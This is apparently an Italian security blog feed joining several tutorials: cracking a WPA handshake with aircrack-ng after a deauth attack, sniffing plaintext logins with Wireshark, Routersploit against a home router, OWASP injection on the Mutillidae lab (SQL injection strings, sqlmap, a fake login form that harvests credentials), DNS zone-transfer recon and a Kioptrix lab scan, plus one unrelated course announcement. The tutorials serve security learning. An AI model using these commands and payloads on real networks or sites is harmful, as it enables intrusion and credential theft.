lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10
        loop  txqueuelen 1  (Local Loopback)
        RX packets 24  bytes 1440 (1.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24  bytes 1440 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 00:[..]:0e  txqueuelen 1000  (Ethernet)
        RX packets 5945  bytes 4767533 (4.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4937  bytes 914927 (893.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Scelgo wlan0 e inizio la modalità monitor:

airmon-ng start wlan0

Airmon-ng è uno script in Posix scritto apposta per trasformare la modalità della scheda di rete in monitor mode.

Se il programma da errore (dicendo che è occupata da qualche processo), basta digitare:

airmon-ng check kill

e ripetere il comando di prima. Il risultato, digitando ancora ifconfig, sarà:

wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 00:[..]:0E  txqueuelen 1000  (UNSPEC)
        RX packets 927  bytes 107988 (105.4 KiB)
        RX errors 0  dropped 927  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Come vedere wlan0 non esiste più ed è stata sostituita da wlan0mon.

Catturo i pacchetti

Inizio a catturare i dati che passano per la rete designata:

root@kali:~# airodump-ng --write capture wlan0mon
CH  6 ][ Elapsed: 8 mins ][ 2016-04-16 11:16 ][ WPA handshake: E8:[..]:F9                                         
                                                                                                                                                     
 BSSID       PWR  Beacons #Data, #/s CH   ENC CIPHER AUTH ESSID
                                                                                                                                                     
 A4:[..]:A6   -1    0        1   0   6   WPA              <length:0>
 E8:[..]:F9  -66 1031     2922   2   6   WPA  CCMP   PSK  TP-LINK_2.4GHz  
 00:[..]:E8  -83  503        1   0   1   WPA2 TKIP   PSK  Alice-47197323  
 00:[..]:00  -45    0      470   0   6   OPN              <length:0>                                                                 
                                                                                                                                                     

 BSSID       STATION     PWR  Lost Frame Probe
                                                                                                                                                   
 A4:[..]:A6  A4:[..]:35  -89  0    9     
 E8:[..]:F9  88:[..]:94  -39  112  1946  TP-LINK_2.4GHz    
 E8:[..]:F9  F0:[..]:00  -43  0    1528  TP-LINK_2.4GHz

 

Airodump è un tool creato appositamente per catturare pacchetti e passarli poi ad Aircrack. Le opzioni che ho inserito sono:

  • – -write fa il Dump del prefisso dei file sniffati;
  • capture: è il nome del file che si andrà a creare con i pacchetti;
  • wlan0mon: interfaccia che si è creata precedentemente;

Deautentico l’host

Mentre Airodump lavora, apro un nuovo terminale e digito

root@kali:~# aireplay-ng --deauth 11 -a E8:[..]:F9 wlan0mon
11:16:14  Waiting for beacon frame (BSSID: E8:[..]:F9) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
11:16:15  Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]
11:16:15  Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]
11:16:20  Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]

Aireplay invia i pacchetti nella rete wireless per generate traffico e cerca di autenticarsi al target, i comandi passati sono:

  • -1: crea un’autenticazion falsa con l’AP con 0 impostato come ritardo;
  • -a E8:[..]:F9: è il mac address dell’access point (il modem);
  • -deatuh deautentica il dispositivo connesso, solo grazie a questo comando riusciamo ad intercettare la chiave, poichè l’utente si cercherà di reautenticare;
  • wlan0mon: interfaccia wireless in monitor mode.

 

Trovo la password utilizzando una lista di parole

L’ultima fase serve per trovare la password che è contenuta nel file che abbiamo ottenuto, e lo facciamo con aircrack.

Un’ottima fonte per la lista di parole si trova qui.

root@kali:~# aircrack-ng -a 2 -w Documents/psw/wordlists-user-passwd/otherpass.txt capture-01.cap 
Opening capture-01.cap
Read 12369 packets.

   #  BSSID              ESSID                     Encryption

   1  00:[..]:E8        Alice-47197323            WPA (0 handshake)
   2  E8:[..]:F9        TP-LINK_2.4GHz            WPA (1 handshake)
   3  00:[..]:00                                  WPA (0 handshake)
   4  A4:[..]:A6                                  WPA (0 handshake)

Index number of target network ? 2

Opening capture-01.cap
Reading packets, please wait...


                                 Aircrack-ng 1.2 rc4

      [00:02:28] 158292/1997916 keys tested (868.90 k/s)  

      Time left: 35 minutes, 19 seconds                          7.92%

                           KEY FOUND! [ 123ABC45 ]


      Master Key     : FE 62 2B D4 70 7E 0E 78 42 26 BB 1B 93 BC 4D 87 
                       83 F7 6F E4 A6 6B F5 F4 98 1A 5C A4 FB 1B 4B 74 

      Transient Key  : DF 39 8D F2 31 F6 DB 55 B6 FC A1 6D 75 8A 4B 94 
                       A3 18 15 C2 C9 E1 2D 66 C3 12 24 79 53 44 57 DA 
                       8F 1E BB 2D 07 D9 12 0B 28 77 CA FB EF 50 55 BA 
                       E5 A4 E4 12 13 49 48 EB D2 EA 20 86 93 4D A4 FD 

      EAPOL HMAC     : 9E C2 73 F6 DF 37 F1 E8 CC 8C 7E 92 4B 25 F8 D3 

Ed ecco che ha trovato la chiave, e per rilevarla ci ha messo circa 15 minuti (ha scansionato il file delle password che gli ho passato, dipende da quante parole avete). Ricorco che se non viene rilevato nessun handshake sarà impossibile trovare una chiave.
Fare questo tipo di esercizio è davvero banale, basta che impostate il vostro modem con sicurezza WPA, inserite una password scelta da voi (nel mio caso ho inserito 123ABC45) e connettete un dipositivo qualsiasi. Con un altro computer seguite i passaggi (o Virtual Machine) e provate a capire ogni fase, magari tentando altre vie o metodi e studiando i tool introdotti a fondo (ricordatevi poi di reimpostare la sicurezza WPA2!).

Il titolo di questo mi sembra molto banale e clickbait, ma non mi è venuto in mente altro. Se avete idee per migliorarlo sarò lieto di farlo.

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips


Analizzare il traffico di rete con Wireshark

$
0
0

Screenshot from 2016-04-19 10-23-09

Wireshark è probabilmente l’analizzatore di pacchetti più conosciuto e utilizzato; è gratis, open source ed è disponibile per Windows, MAC OS X e Linux.
Il software può catturare, salvare, importare ed esportare i pacchetti di rete; include un sistema di filtraggio completo e colori diversificati in base al tipo di pacchetto catturato.

Introduzione

Screenshot from 2016-04-19 19-46-01

Dopo averlo installato, bisogna scegliere quale interfaccia analizzare e su cui sniffare i pacchetti. Le interfacce disponibili sono quelle attive sul nostro computer, io ho utilizzato una chiavetta esterna, ho creato un hotspot in kali e connesso alcuni dispositivi. Se siete alle prime armi, vi consiglio di fare come ho fatto io, collegando magari solo un dispositivo e navigare per qualche minuto. Poi fermare il software e iniziare ad analizzare i pacchetti trovati.

L’interfaccia di Wireshark non è complessa, basta capire dove sono i comandi principali e che si useranno maggiormente, con il tempo verrà automatico sapere cosa serve e dove trovarlo.

interface

  1. Titolo: nome del file che state visualizzando;
  2. Menu: tutte le funzioni che potete usare;
  3. Icone: le principali e più utilizzate funzioni;
  4. Gestione dei filtri: uno degli elementi più importanti, serve a filtrare i pacchetti e poterli visualizzare in modo corretto;
  5. Lista dei pacchetti: tutti i pacchetti catturati, possono essere ordinati in base alle nostre esigenze;
  6. Dettaglio del pacchetto: questa sezione contiene i dettagli per ogni singolo pacchetto ed è divisa in base ai protocolli utilizzati;
  7. Byte dei pacchetti: visualizza i pacchetti in HEX dump;
  8. Barra di stato.

Per un analisi completa dell’interfaccia, potete guardare sul sito ufficiale.

Analisi di un pacchetto

Dopo aver catturato per un pò di tempo, abbiamo a disposizione migliaia di pacchetti. Le informazioni che Wireshark ci da sono molte, ecco le principali.

packethome

  • No: numero del pacchetti, sono ordinati in base al tempo di arrivo;
  • Time: tempo di arrivo del pacchetto;
  • Source: l’indirizzo da cui il pacchetto arriva;
  • Destination: l’indirizzo a cui è andato il pacchetto;
  • Protocol: il tipo di protocollo che sta utilizzando, in questo caso è una richiesta HTTP;
  • Lenght: lunghezza del pacchetto;
  • Info: informazioni aggiuntive, in questo caso mostra che è una richiesta GET.

packetdetails

Il pannelo dei dettagli del pacchetto è diviso in base al modello OSI e cambia di pacchetto in pacchetto. In questo caso segnala che:

  • Il frame numero 116 contiene 853 bytes e, se espandiamo, le informazioni che possono esserci utili ,ad esempio, sono i protocolli presenti nel frame analizzato e la stringa da utilizzare nel filtro per visualizzare pacchetti simili                              frame
  • L’indirizzo di destinazione e la sorgente, con modello e tanto di mac addressdetails
  • Tipo di protocollo utilizzato, flags, Time to live e altre informazioni del Livello di rete.In questo caso vedo che la destinazione è Mountain View, Googleipv4
  • Livello di Trasporto: in questo caso utilizzo TCP, la porta di destinazione è l’ottanta;
  • Livello di Applicazione: nell’esempio visualizzo l’host raggiunto, l’user agent del mittente e anche i cookie salvatitrnsport

Filtrare i pacchetti

Per poter analizzare approfonditamente il traffico e selezionare un’obbiettivo bisogna necessariamente utilizzare il sistema di filtraggio. Le stringhe di ricerca sono molte, e ne esistono di ogni tipo.

Per iniziare, seleziono l’indirizzo ip sorgente che mi interessa, tramite la query

ip.src == 10.42.0.121

Screenshot from 2016-04-20 00-51-10

Visto che ci sono ancora migliaia di pacchetti, mi focalizzo su connessioni TCP sulla porta 80, sulle quali, essendo la porta non crittografata (rispetto alla 443, utilizzata da servizi quali facebook), dovrei riuscire a poter trovare dati sensibili. Oltre a normali siti, noto che è stato visitato tntvillage, che a quanto pare non utilizza https ma solo http. Provo quindi a seguire lo stream TCP, ossia la conversazione che hanno avuto il client e il server (tasto destro su un pacchetto, Follow–>TCP stream)

host

E con una breve ricerca (cercando username o password) trovo che sono stati inviati, e sono in chiaro

userpsw

Un’ottima tabella per i filtri è possibile trovarla qui, mentre una spiegazione breve è disponibile sul sito ufficiale.

Strumenti utili

Nella sezione Statistics possiamo trovare altre informazioni che ci possono essere utili, una di esse sono le richieste HTTP; vengono mostrati tutti i siti visitati, che possiamo poi approfondire se applichiamo il loro indirizzo IP come filtro

httpget

Altri strumenti simili a Wireshark possono essere:

  1. HTTPWatch: è un software che può essere integrato con i maggiori browser ed analizza le interazioni tra il browser e il server richiesto;
  2. Dumpcap: permette di catturare pacchetti di rete live e salvarli in file pcap. Come wireshark, ma a linea di comando;
  3. Tshark;
  4. Mergecap: permette di unire diversi file pcap in un unico file.

 

Wireshark è uno strumento utilissimo se si hanno problemi di rete o se si vuole analizzare approfonditamente il traffico che passa nel nostro Wi-fi. Questo articolo vuole essere un’introduzione ai principali moduli. Per chi vuole e ha bisogno di approfondire, oltre all’ottima guida presente sul sito ufficiale, ho trovato molto utile il libro “Wireshark Essential” della Packt.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Corsi universitari gratuiti – Apre oggi Eduopen!

$
0
0

eduopen

Mai avrei pensato che in Italia si riuscisse a far partire una piattaforma E-learning gratis, funzionale e interattiva, invece mi sbagliavo!

EduOpen è un progetto che prevede l’istituzione di una piattaforma MOOC comune, spartita tra diversi Atenei universitari e l’erogazione di diversi corsi online gratuiti. Le università per ora aderenti sono nove, tra le quali:

  • Politecnico di Bari;
  • Università di Bari “Aldo Moro”;
  • Università di Ferrara;
  • Università di Foggia;
  • Università di Genova;
  • Uiversità di Modena Reggio Emilia;
  • Università di Parma;
  • Università del Piemonte Orientale;
  • Università del Salento;

Dopo aver frequentato un corso (che prevede videolezioni, pdf ed esercizi di fine sessione) possono esser rilasciate diversi certificazioni:

  1. Attestato di partecipazione: sembrerebbe per lo più gratuito, ma non ha alcun valore legale e viene rilasciato senza verifica dell’identità.
  2. Certificato di completamento: con un costo minimo di 50 euro e con un esame effettuato presso la sede dell’Ateneo o un centro NICE viene rilasciato un certificato di veridicità del superamento del corso;
  3. Crediti Universitari: in questo caso è come se avessimo fatto un esame all’università, ma prevede il superamento dello stesso nell’Ateneo corrispondente e il versamento della quota relativa a quel corso.

certificati

I corsi per ora sono solo 40, ma penso (e spero) che con il tempo, diverse Università si aggreghino e le lezioni vengano ampliate. Quelli che (a me personalmente) paiono interessanti sono:

  • Internet e il mondo delle reti: è un corso base di reti, quindi con un’introduzione alle reti informatiche, html, css e sicurezza informatica;
  • Fondamenti di informatica: corso base di architettura degli elaboratori (codici binari, codifica di immagini e video, l’hardware) e alcuni accenni di sistemi operativi (componenti, applicazioni, etc.);
  • Introduzione alla programmazione in Python: quattro settimane di python, uno dei linguaggi di programmazione più utili e utilizzati al mondo (specialmente in sicurezza informatica);
  • Data Mining: è un percorso formativo (in inglese) sul Data Mining.

 

Sembra essere davvero interessante, e a parte qualche errorino di grammatica sul sito, sembrerebbe funzionale. Mi ci sono appena iscritto, quando inizieranno i corsi, potrò magari tracciare le prime opinioni e criticità.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Routersploit: trovare e utilizzare vulnerabilità nei router

$
0
0

In questi giorni è stato messo a punto su Github un nuovo software sulla stessa linea di metasploit. Esso ci permette di trovare, scansionare e sfruttare delle vulnerabilità su alcuni router e poter guadagnare l’accesso ad essi. Premetto che l’ho testato solo sul mio router, nei prossimi giorni farò delle prove anche in giro (con l’autorizzazione necessaria) ma per ora sembra davvero un’ottima risorsa.

Per installarlo sul vostro dispositivo (con BackBox mi ha dato problemi, l’ho quindi utilizzato su Kali)

sudo apt-get install python-requests python-paramiko python-netsnmp
git clone https://github.com/reverse-shell/routersploit
cd routersploit
./rsf.py

router

Per ora i moduli sono pochi, ma penso che in breve tempo cresceranno esponenzialmente.

I comandi principali sono molto simili a quelli di Metasploit, utilizzando

use

abbiamo a disposizione tre moduli genitore e sono:

  • creds: da usare per le credenziali e il rilevamento di esse;
  • exploits: da usare per cercare bug, c’è una lista di alcuni modelli da poter selezionare;
  • scanner: effettua la scansione dell’obbiettivo e cerca vulnerabilità note.

Per prima cosa ho scansionato il mio router utilizzando nmap per vedere quali porte ha attive

port

Ho poi effettuato una scansione automatica utilizzando il modulo apposito. Per prima cosa seleziono il modulo con

use scanners/autopwn

visualizzo le opzioni con il comando

show options

imposto l’indirizzo IP (locale) e faccio partire la scansione.

exploitrouter

A quanto pare non è vulnerabile a nulla, quindi provo altri moduli.

La sezione creds è abbastanza fornita, solitamente le credenziali http non vengono mai cambiate e rimangono quelle di default. Non essendo il mio caso, provo con la scansione FTP.

Utilizzo il comando

use creds/ftp_default

imposto l’obbiettivo e faccio partire la scansione

ftpcreds

Ed ecco che ha trovato le credenziali di default del router.

Nel caso trovaste, utilizzando il modulo autopwn, che il device scansionato è vulnerabile, dopo aver selezionato il modulo con use exploits/quellochevolete e impostato l’obbiettivo, basta digitare

check
set target IPdelvostrorouter
run

e sfrutterà la vulnerabilità trovata per rivelare le password utilizzate. Un video dimostrativo è presente qui.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

OWASP Top 10 – A1 Injection (SQL, HTML, Frame Source)

$
0
0

L’Open Web Application Security Project (OWASP) è una community online, un progetto open-source che offre consigli, guide, articoli e software nell’ambito della sicurezza delle applicazioni. L’OWASP Top 10 include una lista delle maggiori vulnerabilità che un’applicazione web può avere, e l’obbiettivo è quello di educare sulle conseguenze che possono avere delle implementazioni errate e facilmente vulnerabili. Altri progetti degni di nota dalla stessa community sono i Cheat Sheets, una pagina completa di guide approfondite per le maggiori vulnerabilità conosciute, e l’OWASP testing guide. In questa serie di articoli andrò ad analizzare e testare ogni vulnerabilità con esempi pratici, utilizzando Mutillidae.

Injection

intro

L’injection (iniezione) consiste nell’inviare dati o stringhe non sicure tramite un form o un interprete utilizzando delle query. L’attaccante può avere accesso ai dati se questi input non vengono analizzati e “puliti” prima di essere immessi nel database. Esistono diversi tipi di attacco per questa categoria, cercherò di spiegare i maggiori nel miglior modo possibile.

SQL Injection

SQL Injection è una tecnica di code injection e consiste nell’inserire query maligne per ricavare informazioni da uno specifico database. Essa può venire facilmente evitata tramite specifiche funzioni durante la programmazione di un’applicazione web. Per conoscere questa tecnica è bene avere delle basi di SQL. Ottime guide introduttive sono quella di W3Schools e Html.it.

Estrarre dati
Questo tipo di SQL injection si verifica quando non viene filtrato l’input dell’utente dai caratteri di escape e quindi vengono passati all’interno di uno statement.
extract

Nell’esempio la query che ho inserito è stata (c’è uno spazio dopo – – )

' or 1=1 --

Nel database, lo statement eseguito è quindi stato

SELECT * FROM users WHERE username = '' or 1=1 -- ;

Esso cerca nel DB un username nullo oppure TRUE (1=1), di conseguenza restituisce tutti (select *) gli username e password presenti.

Un form si può testare anche tramite sqlmap. Invio il form senza passare nessuna stringa, e copio l’url che appare

extract2

Al programma passo la seguente stringa

sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details"

dove:

  • -u è l’obbiettivo;
  • –data sono i dati che bisogna inviare al database, ed è la stringa copiata poco fa, in cui ho inserito HACK nei campi dove dovrebbero essere inseriti dei parametri.

E dopo qualche minuti sqlmap stampa le possibilità di Injection che ha trovato nella pagina

extractsqlmap

 

Bypassare l’autenticazione

Anche qui, se l’input non è stato parametrizzato, l’autenticazione può essere superata con facilità tramite delle stringhe. Inserisco le stesse stringhe di prima

bypass

Ed ecco che mi ritrovo loggato come amministratore.

bypassok

HTML Injection

Quando un’applicazione web non “pulisce” i dati inviati dagli utenti è possibile che sia vulnerabile anche al HTML Injection. Con questa tecnica si possono inviare query tramite form nel sito web vulnerabile e cambiare alcune funzionalità dello stesso.

Per testare se un form è vulnerabile basta provare ad inserire la query e vedere come reagisce il server. Provo inizialmente ad inserire uno script come questo

Eccomi qui <script>alert('Prova');</script>

htmlalert

Ma a quanto pare non sembra funzionare (ma scopro comunque una parte di struttura del database). Provo quindi con un semplice redirect. Dopo aver inserito la stringa, la pagina dovrà re-indirizzare verso una sito scelto da me (se, ad esempio funzionasse su un sito di una banca, un hacker potrebbe reindirizzare tutti gli utenti verso un sito creato ad-hoc e riuscire a visualizzare le credenziali). Inserisco

<H1> Sei vulnerabile? </H1> 
<META HTTP-EQUIV="refresh" CONTENT="1;url=http://www.hacktips.it">

Ed ecco che vengo reindirizzato al link che ho stabilito

redirect

Per evitare di essere sempre reindirizzati basta che cliccate in alto a destra Reset DB.

Se invece volessi catturare dati di login con questo metodo, basta inserire un form creato ad-hoc dando la possibilità all’utente di loggarsi. Inserisco

 <div id="idLogin" style="padding:20px; position: absolute; top: 250px; left: 400px;background-color:#ffcccc;border: solid black 1px;">
    <form action="http://localhost/capture-data.php" method="get">
        <table style="font-weight:hold;">
        <tr><td colspan="1" style="font-size:20px;">Spiacenti, la sessione è scaduta<br/>Provi ad autenticarsi nuovamente.</td></tr>
        <tr><td>Username:</td><td><input name="username" type="text"></td></tr>
        <tr><td>Password:</td><td><input name="password" type="password"></td></tr>
        <tr><td><colspan="2" style="text-align:center;"><input type="submit" value=" Invia  "</td></tr>
        </table>
    </form>
</div>

Come vedete è un normale form, ed invio i dati a una pagina prefissata (come prima, potrei inviarli ad un mio server ed avere tutte le credenziali d’accesso di chi li invia)

Dopo averlo inviato, ecco che appare la richiesta di inserimento

forminject

Invio i dati, e controllando nella pagina “capture-data” noto che li ho ricevuti completamente in chiaro.

capture

Frame Source Injection

Questo tipo di attacco è poco utilizzato, ma se i file su un sito non sono protetti adeguatamente, possiamo trovarli tramite una stringa inserita nell’url. Vado nella pagina Document Viewer, e clicco su robots.txt (per chi non sapesse cos’è). Noto che vengono visualizzati i file proibiti, quindi provo a cambiare l’url e inserire uno scelto da me

passlist

Il nome del file l’ho trovato testando vari percorsi noti, presi da questa lista.

Conclusioni

Ci sono moltissime tipologie di Injection, specialmente in Mutillidae. Probabilmente ne inserirò altre con nuovi articoli, questo voleva essere il primo di una serie che nelle prossime settimane continuerà analizzando le maggiori vulnerabilità di un applicazione Web. Se, come al solito, desideri che inserisca informazioni aggiuntive o altre tipologie di attacco, basta un messaggio.

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Come effettuare una ricognizione DNS

$
0
0

Il sistema dei nomi di dominio (Domain Name System) è un sistema utilizzato per la risoluzione di nomi dei nodi della rete in indirizzi IP e viceversa (ossia traduce il nome del dominio in indirizzo IP). Dopo aver identificato tutti i dominio associati ad un bersaglio (con il Footprinting) viene effettuata la fase di interrogazione dei DNS per identificare possibili configurazioni errate o con un basso livello di sicurezza. Esistono diversi strumenti per questa tecnica, e le informazioni più rilevanti che possiamo ottenere sono:

  • CNAME: i collegamenti tra un DNS e un altro, in questo modo veniamo a conoscenza del percorse effettuato;
  • A: utilizzato per collegare un dominio o sottodominio in un indirizzo IP a 32 bit;
  • MX: è la risorsa del DNS che specifica il server di posta.

La fase di ricognizione dei DNS è considerata a tutti gli effetti un Footprinting attivo, ed obbligatorio quando si vuole mappare la rete di un azienda o organizzazione.

Nslookup

Nslookup è uno strumento presente in tutti i sistemi operativi che utilizzano il protocollo TCP/IP; esso consente di effettuare delle query ad un indirizzo IP o dominio per ottenere la risoluzione dello stesso. Per svolgere una interrogazione veloce basta digitare

nslookup sito.it

e si avrà il seguente output
quinckns
Il server specificato è quello utilizzato dal nostro sistema per la query, tramite la porta 53. È possibile confermare i dati ricevuti modificando il server, in questo modo

nslookup
server IP
sito.it

changesrv
I risutati sono stati confermati, e siamo certi che il dominio richiesto abbia quegli indirizzi IP.

Possiamo anche interrogare il database in altri modi, tra i quali:

  1. nslookup type=ns sito.it: con il comando type=ns specifichiamo che vogliamo sapere il nome del server, e non l’indirizzo IP;
    typens
  2. nslookup type=mx sito.it: specifica che vogliamo sapere solamente il server di posta, se presente
  3. nslookup type=any sito.it: tutti i tipi di DNS rilevati.

C’è la possibiltà di creare anche uno script automatico per effettuare molteplici test senza dover digitare ogni volta il comando. I passi da effettuare sono:

  • Creare un file chiamato AutoM8 (io ho utilizzato nano, anche vi va bene);
  • Copiare e incollare questo codice
     #!/bin/sh 
    for HOSTNAME in `cat Domini.txt`
    do 
    echo "Getting name servers for [$HOSTNAME]"  
    nslookup -type=ns $HOSTNAME 8.8.8.8 
    done 
    
  • Creare, nello stesso percorso, un file chiamato Domini.txt in cui inserirete la lista (uno per riga) degli indirizzi da controllare;
  • Nel terminale digitate ./AutoM8 e stamperà l’interrogazione di tutti i domini.
    autom8

Dig

Domain Information Groper è un comando per sistemi Unix utilizzato per l’interrogazione DNS. È un’ottima alternativa a nslookup e, per certe vie, decisamente più completo. Come prima, una query base è

root@kali:~$ dig amazon.com

; <<>> DiG 9.9.5-3ubuntu0.8-Ubuntu <<>> amazon.com
;; global options: +cmd
;; Got answer:
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;amazon.com.			IN	A

;; ANSWER SECTION:
amazon.com.		8	IN	A	54.239.25.200
amazon.com.		8	IN	A	54.239.17.7
amazon.com.		8	IN	A	54.239.17.6
amazon.com.		8	IN	A	54.239.25.208
amazon.com.		8	IN	A	54.239.25.192
amazon.com.		8	IN	A	54.239.26.128

;; Query time: 56 msec
;; SERVER: 208.67.222.222#53(208.67.222.222)
;; WHEN: Mon May 02 19:27:35 CEST 2016
;; MSG SIZE  rcvd: 135

Anche in questo caso, il server utilizzato per l’interrogazione è lo stesso di nslookup, per cambiarlo bisogna andare in /etc/resolve.conf.

Un’altro comando utile è

dig +qr sito.it any

Esso ci fornisce tutte le informazioni possibili sul dominio interrogato insieme ai diversi tipi di DNS

digany

Un comando molto utile (anche se ormai obsoleto, in quanto pochi DNS lo permettono ancora) è lo Zone Tranfer. Se attivo, esso ci permette di avere tutte le informazioni possibili di un DNS, come sottodomini o configurazioni errate dello stesso. Bisogna avere le dovute autorizzazioni per effettuarlo, è anche possibile farlo in automatico da questo sito. Digitando

dig @DNS.it sito.it axfr

scopriamo se un dominio lo ha attivo o meno. Se fosse attivo, la risposta sarebbe la seguente

; <<>> DiG 9.9.5-3ubuntu0.8-Ubuntu <<>> axfr @ns1.publinord.it siti.it
; (1 server found)
;; global options: +cmd
siti.it.		86400	IN	SOA	ns1.publinord.it. domain.publinord.it. 2014010201 86400 3600 604800 86400
siti.it.		86400	IN	NS	ns1.publinord.it.
siti.it.		86400	IN	NS	ns2.publinord.it.
siti.it.		86400	IN	MX	10 mail.siti.it.
siti.it.		86400	IN	A	46.37.14.7
siti.it.		86400	IN	A	46.37.14.18
siti.it.		86400	IN	A	46.37.14.27
mail.siti.it.		86400	IN	A	46.37.14.38
www.siti.it.		86400	IN	CNAME	siti.it.
siti.it.		86400	IN	SOA	ns1.publinord.it. domain.publinord.it. 2014010201 86400 3600 604800 86400
;; Query time: 56 msec
;; SERVER: 46.37.14.14#53(46.37.14.14)
;; WHEN: Mon May 02 19:38:40 CEST 2016
;; XFR size: 10 records (messages 1, bytes 253)

Altri comandi utili sono:

  • dig +nocmd +noall +answer sito.it: abbreviazione dell’output. In questo modo visualizziamo solo la l’indirizzo che ci interessa, in particolare:
    • +nocmd indica che vogliamo eliminare le informazioni iniziali;
    • +noall che non vogliamo visualizzare le flags attive;
    • +answer che vogliamo visualizzare solo la risposta;
  • dig +nocmd txt chaos VERSION.BIND @DNS.it +noall +answer sito.it: stampa la versione del BIND utilizzata, è ottimo se vogliamo trovare delle possibili vulnerabilità;
  • dig +nocmd +noall +answer -x IP: effettua un DNS lookup inverso, ossia dall’indirizzo IP ci mostra il nome del dominio
    revdig
  • dig +trace sito.it: ci mostra il percorso effettuato per rilevare il DNS.

 

Fierce

Fierce è utilizzato solitamente per il forzare la scoperta di sottodomini e DNS (è un DNS bruteforcer). È composto da molte opzioni, ma nel nostro caso basta il comando principale

fierce -dns sito.it

Se la Zone Tranfer risulta attiva, il software ci mostra l’output con tutti i sottodomini rilevati, altrimenti con il bruteforce cerca di scoprire quali sono attivi. Il file di default per gli host è abbastanza completo, ma io sono solito usare questo file (con più di 50000 mila host).

fierce -dns sito.it -wordlist alexaTop1mAXFRcommonSubdomains.fuzz.txt

In questo modo abbiamo la possibilità di mappare i sottodomini dell’azienda target.

Conclusioni

Oltre che i software introdotti nell’articolo è possibile utilizzare:

Questa fase è effettuata in contemporanea a quella del Footprinting, per chi vuole approfondire o capire meglio l’argomento, consiglio questo e quest’altro video (due conferenze di qualche anno fa).

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Imparare a sfruttare vulnerabilità: Kioptrix Livello 1

$
0
0

Fin’ora abbiamo discusso alcuni tra i tanti modi per individuare i sistemi, enumerare informazioni, scansionare la porte. Le attività di Footprinting devono essere effettuate prima di poter portare qualsiasi tipo di attacco al sistema target. Una volta in possesso di queste informazioni, si possono iniziare a fare delle ipotesi sulle potenziali vulnerabilità che potrebbero essere presenti. In questo articolo utilizzerò la macchina virtuale Kioptrix per spiegare le principali metodologie di Accesso remoto (ossia accedere ad un sistema tramite la rete).

Il libro Hacker 7.0 (Apogeo 2013) riporta quattro metodi principali per compromettere la sicurezza di un sistema UNIX:

  1. Exploit di un servizio in ascolto: per accedere ad un sistema deve esserci un servizio in ascolto, con una porta aperta. Altrimenti sarà impossibile accedere allo stesso;
  2. Routing attraverso un sistema Unix: si sfrutta il firewall di Unix utilizzandolo come router, inoltrando dei pacchetti tramite il firewall;
  3. Esecuzione di programmi in remoto avviati dall’utente: si invia al dispositivo un url maligno che permette di accedere al sistema, se avviato;
  4. Attacchi in modalità promiscua: ad esempio, se l’obbiettivo sta sniffando la rete, e il suo sniffer ha delle vulnerabilitàè possibile sfruttarle per entrare nel sistema.

La domande da porsi sono quindi:

  • C’è un servizio in ascolto?
  • Il sistema utilizza il routing?
  • L’utente potrà eseguire comandi che mettono a rischio la sicurezza?
  • La scheda di rete è in modalità promiscua?
Avviso: per questa tipologia di esercizio consiglio di leggere prima gli articoli sul Footprinting e sullo Scanning.
Inserirò comunque link agli articoli con cui potrete approfondire

Installazione

Kioptrix è una macchina virtuale, potete scaricarlo da qui. Io utilizzerò VirtuaBox, ma siete ovviamente liberi di usare il software che più vi aggrada. Dopo aver scaricato il file e averlo scompattato, create una nuova macchina virtuale con queste caratteristiche:

  • Sistema Operativo: Other Linux 32 Bit;
  • Memoria: 256 o 512 Mb;
  • Disco Virtuale: selezionate Kioptrix Level 1.vmdk (il file estratto precedentemente).

instal1    install2

Prima di eseguirla controllate che la rete sia connessa tramite Bridged Adapter, altrimenti non verrà trovata sulla vostra rete (e di conseguenza non potrete scansionarla)

network

Scansione

Dopo aver trovato l’indirizzo IP della macchina virtuale con nmap

nmap -sn 192.168.1.1/24

effettuo una scansione di tutte le porte attive

root@kali:~$ sudo nmap -sTUV 192.168.1.109
Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-03 11:34 CEST
Nmap scan report for 192.168.1.109
Host is up (0.0044s latency).
Not shown: 1990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp open status 1 (RPC #100024)
111/udp open rpcbind 2 (RPC #100000)
137/udp open netbios-ns Microsoft Windows XP netbios-ssn
138/udp open|filtered netbios-dgm
32768/udp open status 1 (RPC #100024)
